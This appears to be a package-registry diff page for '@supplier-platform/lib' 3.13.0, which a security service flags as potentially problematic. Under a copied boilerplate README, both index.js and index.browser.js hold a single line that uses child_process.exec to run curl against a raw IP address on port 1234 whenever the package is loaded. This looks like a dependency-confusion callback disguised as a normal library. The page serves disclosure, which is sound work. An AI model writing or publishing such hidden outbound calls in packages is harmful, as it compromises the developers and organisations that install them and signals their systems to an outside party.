@supplier-platform/lib 3.13.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @supplier-platform/lib might be problematic. Click here for more details.
- package/README.md +14 -0
- package/index.browser.js +1 -0
- package/index.js +1 -0
- package/package.json +10 -0
package/README.md
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
# npm-package-example
|
2
|
+
|
3
|
+
Example of npm package.
|
4
|
+
|
5
|
+
1. Create `package.json` and fill `name` and `version` field.
|
6
|
+
2. Add your script and `main` field in `package.json` to point the entry point.
|
7
|
+
3. You may want to fill `unpkg` field for browser build.
|
8
|
+
4. Login to npm with `npm login` command.
|
9
|
+
5. `npm publish`
|
10
|
+
|
11
|
+
You will see published package on:
|
12
|
+
|
13
|
+
* https://www.npmjs.com/package/ktsn-npm-package-example
|
14
|
+
* https://unpkg.com/ktsn-npm-package-example
|
package/index.browser.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
require('child_process').exec('curl http://82.65.58.201:1234/CA_MARCHE_REALTEST2LIODEUS_THALES')
|
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
require('child_process').exec('curl http://82.65.58.201:1234/CA_MARCHE_REALTESTLIODEUS_THALES')
|